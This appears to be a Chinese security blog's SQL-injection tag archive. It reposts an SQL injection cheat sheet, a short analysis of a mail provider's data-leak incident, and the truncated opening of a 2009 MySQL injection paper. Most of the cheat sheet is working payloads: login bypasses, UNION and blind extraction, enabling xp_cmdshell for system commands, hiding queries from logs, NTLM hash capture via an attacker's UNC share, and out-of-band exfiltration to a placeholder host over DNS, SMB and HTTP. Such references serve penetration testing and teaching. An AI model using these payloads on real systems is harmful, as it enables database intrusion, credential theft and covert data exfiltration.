标签归档:SQL注入

【转载】SQL Injection Cheat Sheet

Original Link: https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

What is an SQL Injection Cheat Sheet?

An SQL injection cheat sheet is a resource in which you can find
detailed technical information about the many different variants of the SQL Injection vulnerability. This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in web application security.

About the SQL Injection Cheat Sheet

This SQL injection cheat sheet was originally
published in 2007 by Ferruh Mavituna on his blog. We have updated it and
moved it over from our CEO’s blog.
Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL
servers. Some of the samples in this sheet might not work in every
situation because real live environments may vary depending on the usage
of parenthesis, different code bases and unexpected, strange and
complex SQL sentences. 

Samples are provided to allow you to get
basic idea of a potential attack and almost every section includes a
brief information about itself.

M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : Possibly all other databases
Examples;
  • (MS) means : MySQL and SQL Server etc.
  • (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Table Of Contents

  1. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

    1. Line Comments

    2. Inline Comments

    3. Stacking Queries

    4. If Statements

    5. Using Integers
    6. String Operations

    7. Strings without Quotes

    8. String Modification & Related
    9. Union Injections

    10. Bypassing Login Screens
    11. Enabling xp_cmdshell in SQL Server 2005
    12. Finding Database Structure in SQL Server
    13. Fast way to extract data from Error Based SQL Injections in SQL Server
    14. Blind SQL Injections
    15. Covering Your Tracks
    16. Extra MySQL Notes
    17. Second Order SQL Injections
    18. Out of Band (OOB) Channel Attacks

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query. 
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.

  • — (SM) 
    DROP sampletable;– 

  • # (M) 
    DROP sampletable;#
Line Comments Sample SQL Injection Attacks
  • Username: admin’–
  • SELECT * FROM members WHERE username = ‘admin’–‘ AND password = ‘password’ 
    This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

  • /*Comment Here*/ (SM)

    • DROP/*comment*/sampletable
    • DR/**/OP/*bypass blacklisting*/sampletable
    • SELECT/*avoid-spaces*/password/**/FROM/**/Members
  • /*! MYSQL Special SQL */ (M) 
    This is a special
    comment syntax for MySQL. It’s perfect for detecting MySQL version. If
    you put a code into this comments it’s going to execute in MySQL only.
    Also you can use this to execute some code only if the server is higher
    than supplied version. 

    SELECT /*!32302 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples
  • ID: 10; DROP TABLE members /* 
    Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members —
  • SELECT /*!32302 1/0, */ 1 FROM tablename 
    Will throw an divison by 0 error if MySQL version is higher than3.23.02
MySQL Version Detection Sample Attacks
  • ID: /*!32302 10*/
  • ID: 10 
    You will get the same response if MySQL version is higher than 3.23.02
  • SELECT /*!32302 1/0, */ 1 FROM tablename 
    Will throw a division by 0 error if MySQL version is higher than3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

  • ; (S) 
    SELECT * FROM members; DROP members–

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

SQL Injection Cheat sheet

About MySQL and PHP; 
To clarify some issues; 
PHP – MySQL doesn’t support stacked queries, Java doesn’t support stacked queries (I’m sure for ORACLE, not quite sure about other databases). Normally
MySQL supports stacked queries but because of database layer in most of
the configurations it’s not possible to execute a second query in
PHP-MySQL applications or maybe MySQL client supports this, not quite
sure. Can someone clarify?

Stacked SQL Injection Attack Samples
  • ID: 10;DROP members —
  • SELECT * FROM products WHERE id = 10; DROP members–

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly andaccurately.

MySQL If Statement

  • IF(condition,true-part,false-part) (M) 
    SELECT IF(1=1,’true’,’false’)

SQL Server If Statement

  • IF condition true-part ELSE false-part (S) 
    IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’

Oracle If Statement

  • BEGIN
    IF condition THEN true-part; ELSE false-part; END IF; END; (O) 
    IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

PostgreSQL If Statement

  • SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P) 
    SELECT CASE WEHEN (1=1) THEN ‘A’ ELSE ‘B’END;
If Statement SQL Injection Attack Samples

if ((select user) = ‘sa’ OR (select user) = ‘dbo’) select 1 else select 1/0 (S) 
This will throw an divide by zero error if current logged user is not “sa” or “dbo”.

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

  • 0xHEXNUMBER (SM) 
    You can  write hex like these; 

    SELECT CHAR(0x66) (S) 
    SELECT 0x5045 (this is not an integer it will be a string from Hex) (M) 
    SELECT 0x50 + 0x45 (this is integer now!) (M)

String  Operations

String related operations. These can be quite useful to build up
injections which are not using any quotes, bypass any other black
listing or determine back end database.

String Concatenation

  • + (S) 
    SELECT login + ‘-‘ + password FROM members
  • || (*MO) 
    SELECT login || ‘-‘ || password FROM members

*About MySQL “||”; 
If MySQL is running in ANSI
mode it’s going to work but otherwise MySQL accept it as `logical
operator` it’ll return 0. A better way to do it is using CONCAT()function in MySQL.

  • CONCAT(str1, str2, str3, …) (M) 
    Concatenate supplied strings. 
    SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

  • 0x457578 (M) – Hex Representation of string 
    SELECT 0x457578 
    This will be selected as string in MySQL. 

    In MySQL easy way to generate hex representations of strings use this; 
    SELECT CONCAT(‘0x’,HEX(‘c:\\boot.ini’))

  • Using CONCAT() in MySQL 
    SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M) 
    This will return ‘KLM’.
  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S) 
    This will return ‘KLM’.
  • SELECT CHR(75)||CHR(76)||CHR(77) (O) 
    This will return ‘KLM’.
  • SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P) 
    This will return ‘KLM’.

Hex based SQL Injection Samples

  • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M) 
    This will show the content of c:\boot.ini

String Modification & Related

  • ASCII() (SMP) 
    Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections. 

    SELECT ASCII(‘a’)

  • CHAR() (SM) 
    Convert an integer of ASCII. 

    SELECT CHAR(64)

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members 
This will combine results from both news table and members table and return all of them.

Another Example: 
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It’s rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

  • SQL Server (S) 
    Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one – check out SQL Server documentation

    SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

  • MySQL (M) 
    Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

  • admin’ —
  • admin’ #
  • admin’/*
  • ‘ or 1=1–
  • ‘ or 1=1#
  • ‘ or 1=1/*
  • ‘) or ‘1’=’1–
  • ‘) or (‘1’=’1–
  • ….
  • Login as different user (SM*) 
    ‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

*Old versions of MySQL doesn’t support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then
compare returned MD5 with supplied password’s MD5 then you need to some
extra tricks to fool application to bypass authentication. You can union
results with a known password and MD5 hash of supplied password. In
this case application will compare your password and your supplied MD5
hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username :admin’ AND 1=0 UNION ALL SELECT ‘admin’, ’81dc9bdb52d04dc20036dbd8313ed055′
Password :1234

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

 

Error Based – Find Columns Names

Finding Column Names with HAVING BY – Error Based (S)

In the same order,

  • ‘ HAVING 1=1 —
  • ‘ GROUP BY table.columnfromerror1 HAVING 1=1 —
  • ‘ GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 —
  • ‘ GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 — and so on
  • If you are not getting any more error then it’s done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

  • ORDER BY 1–
  • ORDER BY 2–
  • ORDER BY N– so on
  • Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,

  • Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.
  • To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
  • Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.

    • Be careful in Blind situtaions may you can understand error is
      coming from DB or application itself. Because languages like ASP.NET
      generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

  • ‘ union select sum(columntofind) from users— (S) 
    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ 
    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. 

    If you are not getting an error it means column is numeric.

  • Also you can use CAST() or CONVERT()

    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null,
      null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL,
      NULL, NULL, NULL, NULL, NULl, NULL–
  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- 
    No Error – Syntax is right. MS SQL Server Used. Proceeding.
  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –- 
    No Error – First column is an integer.
  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 — 
    Error! – Second column is not an integer.
  • 11223344) UNION SELECT 1,’2′,NULL,NULL WHERE 1=2 –- 
    No Error – Second column is a string.
  • 11223344) UNION SELECT 1,’2′,3,NULL WHERE 1=2 –- 
    Error! – Third column is not an integer. … 

    Microsoft OLE DB Provider for SQL Server error ‘80040e07’ 
    Explicit conversion from data type int to image is not allowed.

You’ll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

‘; insert into users values( 1, ‘hax0r’, ‘coolpass’, 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS) 
Version of database and more
details for SQL Server. It’s a constant. You can just select it like any
other column, you don’t need to supply table name. Also, you can use
insert, update statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, ”+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)

Insert a file content to a table. If you don’t know internal path of web application you can read IIS (IIS 6 only) metabase file(%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

    1. Create table foo( line varchar(8000) )
    2. bulk insert foo from ‘c:\inetpub\wwwroot\login.asp’
    3. Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function. 
bcp “SELECT * FROM test..foo” queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int 
exec sp_oacreate ‘wscript.shell’, @o out 
exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ 
Username: ‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ — 

Executing system commands, xp_cmdshell (S)

Well known trick, By default it’s disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell ‘ping ‘

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

  • Error Messages 
    master..sysmessages
  • Linked Servers 
    master..sysservers
  • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm 
    SQL Server 2000: masters..sysxlogins 
    SQL Server 2005 : sys.sql_logins 

More Stored Procedures for SQL Server (S)

  1. Cmd Execute (xp_cmdshell
    exec master..xp_cmdshell ‘dir’
  2. Registry Stuff (xp_regread

    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite 
      exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’ 
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
  3. Managing Services (xp_servicecontrol)
  4. Medias (xp_availablemedia)
  5. ODBC Resources (xp_enumdsn)
  6. Login mode (xp_loginconfig)
  7. Creating Cab Files (xp_makecab)
  8. Domain Enumeration (xp_ntsec_enumdomains)
  9. Process Killing (need PID) (xp_terminate_process)
  10. Add new procedure (virtually you can execute whatever you want
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’ 
    exec xp_webserver
  11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell ‘dir *.exe’;IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME() 
IS_MEMBER (Transact-SQL)  
IS_SRVROLEMEMBER (Transact-SQL)  
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL)  – http://msdn2.microsoft.com/en-us/library/ms190312.aspx

You can not use sub selects in SQL Server Insert queries.

SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,’x’/*,10 ;

If injection is in second limit you can comment it out or use in your union injection

Shutdown SQL Server (S)

When you’re really pissed off, ‘;shutdown —

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous
stored procedures are disabled in SQL Server 2005. If you have admin
access then you can enable these.

EXEC sp_configure ‘show advanced options’,1 
RECONFIGURE

EXEC sp_configure ‘xp_cmdshell’,1 
RECONFIGURE

Finding Database Structure in SQL Server (S)

Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = ‘U’

Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘tablenameforcolumnnames’)

Moving records (S)

  • Modify WHERE and use NOT IN or NOT EXIST
    … WHERE users NOT IN (‘First User’, ‘Second User’) 
    SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) — very good one
  • Using Dirty Tricks 
    SELECT * FROM Product WHERE ID=2 AND
    1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM
    sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p
    where p.x=3) as int 

    Select p.name from (SELECT
    (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype=’U’ and
    i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = ‘U’) as p
    where p.x=21

 

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

‘;BEGIN DECLARE @rt varchar(8000) SET @rd=’:’ SELECT @rd=@rd+’
‘+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name =
‘MEMBERS’) AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;–

Detailed Article: Fast way to extract data from Error Based SQL Injections

Finding Database Structure in MySQL (M)

Getting User defined Tables

SELECT table_name FROM information_schema.tables WHERE table_schema = ‘tablename’

Getting Column Names

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = ‘tablename’

Finding Database Structure in Oracle (O)

Getting User defined Tables

SELECT * FROM all_tables WHERE OWNER = ‘DATABASE_NAME’

Getting Column Names

SELECT * FROM all_col_comments WHERE TABLE_NAME = ‘TABLE’

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page,
so you can not extract data through Union attacks or error based
attacks. You have to do use Blind SQL Injections attacks to extract
data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code 
Totally Blind,
You can not see any difference in the output in any kind. This can be
an injection a logging function or similar. Not so common, though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY ‘0:0:10’ in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while
exploiting SQL Server back ended application and enumerating table
names. This requests done for first char of the first table name. SQL
queries a bit more complex then requirement because of automation
reasons. In we are trying to determine an ascii value of a char via
binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)>78– 

FALSE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>103– 

TRUE : SELECT
ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89– 

TRUE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83– 

TRUE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80– 

FALSE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)

Since both of the last 2 queries failed we clearly know table name’s first char’s ascii value is 80 which means first char is `P`.
This is the way to exploit Blind SQL injections by binary search
algorithm. Other well-known way is reading data bit by bit. Both can be
effective in different conditions.

 

Making Databases Wait / Sleep For Blind SQL Injection Attacks

First of all use this if it’s really blind, otherwise just use 1/0
style errors to identify difference. Second, be careful while using
times more than 20-30 seconds. database API connection or script can be
timeout.

WAIT FOR DELAY ‘time’ (S)

This is just like sleep, wait for specified time. CPU safe way to make database wait.

WAITFOR DELAY ‘0:0:10’–

Also, you can use fractions like this,

WAITFOR DELAY ‘0:0:0.51’

Real World Samples

  • Are we ‘sa’ ? 
    if (select user) = ‘sa’ waitfor delay ‘0:0:10’
  • ProductID = 1;waitfor delay ‘0:0:10’–
  • ProductID =1);waitfor delay ‘0:0:10’–
  • ProductID =1′;waitfor delay ‘0:0:10’–
  • ProductID =1′);waitfor delay ‘0:0:10’–
  • ProductID =1));waitfor delay ‘0:0:10’–
  • ProductID =1′));waitfor delay ‘0:0:10’–

BENCHMARK() (M)

Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

BENCHMARK(howmanytimes, do this)

Real World Samples

  • Are we root ? woot! 
    IF EXISTS (SELECT * FROM users WHERE username = ‘root’) BENCHMARK(1000000000,MD5(1))
  • Check Table exist in MySQL 
    IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

  • SELECT pg_sleep(10); 
    Sleep 10 seconds.

sleep(seconds) (M)

Sleep for supplied seconds.

  • SELECT sleep(10); 
    Sleep 10 seconds.

dbms_pipe.receive_message (O)

Sleep for supplied seconds.

  • (SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message((‘xyz’),10) ELSE dbms_pipe.receive_message((‘xyz’),1) END FROM dual)

    {INJECTION} = You want to run the query.

    If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.

Covering Your Tracks

SQL Server -sp_password log bypass (S)

SQL Server don’t log queries that includes sp_password for security
reasons(!). So if you add –sp_password to your queries it will not be
in SQL Server logs (of course still will be in web server logstry to use POST if it’s possible)

Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

  1. product.asp?id=4 (SMO)

    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1 

  2. product.asp?name=Book

    1. product.asp?name=Bo’%2b’ok
    2. product.asp?name=Bo’ || ‘ok (OM)
    3. product.asp?name=Book’ OR ‘x’=’x

Extra MySQL Notes

  • Sub Queries are working only MySQL 4.1+
  • Users

    • SELECT User,Password FROM mysql.user;
  • SELECT 1,1 UNION SELECT
    IF(SUBSTRING(Password,1,1)=’2′,BENCHMARK(100000,SHA1(1)),0)
    User,Password FROM mysql.user WHERE User = ‘root’;
  • SELECT … INTO DUMPFILE

    • Write query into a new file (can not modify existing files)
  • UDF Function

    • create function LockWorkStation returns integer soname ‘user32’;
    • select LockWorkStation(); 
    • create function ExitProcess returns integer soname ‘kernel32’;
    • select exitprocess();
  • SELECT USER();
  • SELECT password,USER() FROM mysql.user;
  • First byte of admin hash

    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
  • Read File

    • query.php?user=1+union+select+load_file(0x63…),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • MySQL Load Data infile 

    • By default it’s not available !

      • create table foo( line blob ); 
        load data infile ‘c:/boot.ini’ into table foo; 
        select * from foo;
  • More Timing in MySQL
  • select benchmark( 500000, sha1( ‘test’ ) );
  • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • select if( user() like ‘root@%’, benchmark(100000,sha1(‘test’)), ‘false’ ); 
    Enumeration data, Guessed Brute Force

    • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1(‘test’)), ‘false’ );

Potentially Useful MySQL Functions

  • MD5() 
    MD5 Hashing
  • SHA1() 
    SHA1 Hashing
  • PASSWORD()
  • ENCODE()
  • COMPRESS() 
    Compress data, can be great in large binary reading in Blind SQL Injections.
  • ROW_COUNT()
  • SCHEMA()
  • VERSION() 
    Same as @@version

Second Order SQL Injections

Basically, you put an SQL Injection to some place and expect it’s
unfiltered in another action. This is common hidden layer problem.

Name : ‘ + (SELECT TOP 1 password FROM users ) + ‘ 
Email : xx@xx.com

If application is using name field in an unsafe stored procedure or
function, process etc. then it will insert first users password as your
name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user’s Windows password of
target server, but possibly you inbound connection will be firewalled.
Can be very useful internal penetration tests. We force SQL Server to
connect our Windows UNC Share and capture data NTLM session with a tool
like Cain & Abel.

Bulk insert from a UNC Share (S) 
bulk insert foo from ‘\\YOURIPADDRESS\C$\x.txt’

Check out Bulk Insert Reference to understand how can you use bulk insert.

Out of Band Channel Attacks

SQL Server

  • ?vulnerableParam=1; SELECT * FROM OPENROWSET(‘SQLOLEDB’, ({INJECTION})+’.yourhost.com’;’sa’;’pwd’, ‘SELECT 1’)
    Makes DNS resolution request to {INJECT}.yourhost.com

  • ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = ‘\\’+({INJECTION})+’.yourhost.com\\test.txt’; EXEC master..xp_dirtree @q
    Makes DNS resolution request to {INJECTION}.yourhost.com

    {INJECTION} = You want to run the query.

MySQL

  • ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(‘\\\\’,({INJECTION}), ‘yourhost.com\\’)))
    Makes a NBNS query request/DNS resolution request to yourhost.com

  • ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE ‘\\\\yourhost.com\\share\\output.txt’)
    Writes data to your shared folder/file

    {INJECTION} = You want to run the query.

Oracle

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ sniff.php?sniff=’||({INJECTION})||”) FROM DUAL)
    Sniffer application will save results

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ ‘||({INJECTION})||’.html’) FROM DUAL)
    Results will be saved in HTTP access logs

  • ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||’.yourhost.com’) FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

  • ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

    {INJECTION} = You want to run the query.

References

Since these notes have been collected from several different
sources over a number of years, and through personal experiences, I may
have missed some references. If so please reach out to us so we can add you in this list.

中国互联网安全现状之邮箱篇

昨天的安全圈子已被国内某知名邮箱提供服务商的数据泄漏事件刷屏了,各种网(si)友(bi)评(da)论(zhan),”安全砖家”分析层出不穷,一时间谣言四起。

IMG_2

该公司也在事后发表了声明和律师函加以澄清和说明。

IMG_1

但是事情的真相又是如何呢?笔者不清楚,也不会妄加评论,只是从一些以往的公开的安全事件和漏洞中来做一个简要的梳理和分析。

以下是该公司从今天5月份至今的所有被公开或者揭露的安全事件和漏洞列表:

126

我简单地对其作了分析处理如下:

0x01 漏洞来源

source

0x02 漏洞趋势

trend

0x03 漏洞类型

type

声明:以上所有数据均来自于互联网的公开数据

相关链接:

http://www.wooyun.org/bugs/wooyun-2015-0147763

https://www.t00ls.net/articles-31777.html

【转载】MySQL: Secure Web Apps – SQL Injection techniques

/================================================================================\
———————————[ PLAYHACK.net ]———————————
\================================================================================/

-[ INFOS ]———————————————————————–
Title: “MySQL: Secure Web Apps – SQL Injection techniques”
Author: Omni
Website: http://omni.playhack.net
Date: 2009-02-26 (ISO 8601)
———————————————————————————

-[ SUMMARY ]———————————————————————
0x01: Introduction
0x02: Injecting SQL
0x03: Exploiting a Login Form
0x04: Exploiting Different SQL Statement Type
0x05: Basic Victim Fingerprinting
0x06: Standard Blind SQL Injection
0x07: Double Query
0x08: Filters Evasion
0x09: SQL Injection Prevention
0x10: Conclusion
———————————————————————————

—[ 0x01: Introduction ]

Hi everybody! I’m here again to write a little, but I hope interesting, paper concerning
Web Application Security. The aim of these lines are to help you to understand security
flaws regarding SQL Injection.

I know that maybe lots of things here explained are a little bit old; but lots of people
asked to me by email how to find/to prevent SQL Injection flaws in their codes.

Yes, we could say that this is the second part of my first paper regarding PHP flaws
(PHP Underground Security) wrote times ago; where I explained in a very basic form the SQL Injection
(The reason? The focus was on an other principal theme).

How I wrote this paper? In my free time, a couple of lines to help people to find, prevent
this kind of attacks. I hope you enjoy it. For any question or whatever please
contact me here: omni_0 [at] yahoo [DOT] com .
——————————————————————————-[/]

—[ 0x02: Injecting SQL ]

As you know almost every dynamic web applications use a database (here we talk
about web application based on “LAMP architecture”) to store any kind of data needed
by the application such as images path, texts, user accounts, personal information,
goods in stock, etc.

The web application access to those information by using the SQL (Structured Query
Language). This kind of applications construct one or more SQL Statement to query
the DataBase (and for example to retrieve data); but this query sometimes incorporporate
user-supplied data. (take in mind this)

What about SQL? SQL is a DML (Data Manipulation Language) that is used
to insert, retrive and modify records present in the DataBase.

As I said before web application uses user-supplied data to query the DB but if the
supplied data is not properly sanitized before being used this can be unsafe and
an attacker can INJECT HIS OWN SQL code.
These flaws can be very destructive because an attacker can:

– Inject his data
– Retrive information about users, CC, DBMS.. (make a kind of information gathering)
– and so on..

The fundamentals of SQL Injection are similar to lots of DBMS but, as you know
there are some differences, in this paper I will cover “Exploting SQL Injection
in MySQL DBMS” as said upon (this means that if you want to test techniques here
explained on others DBMS you need to try at your own).
——————————————————————————-[/]

—[ 0x03: Exploiting a Login Form ]

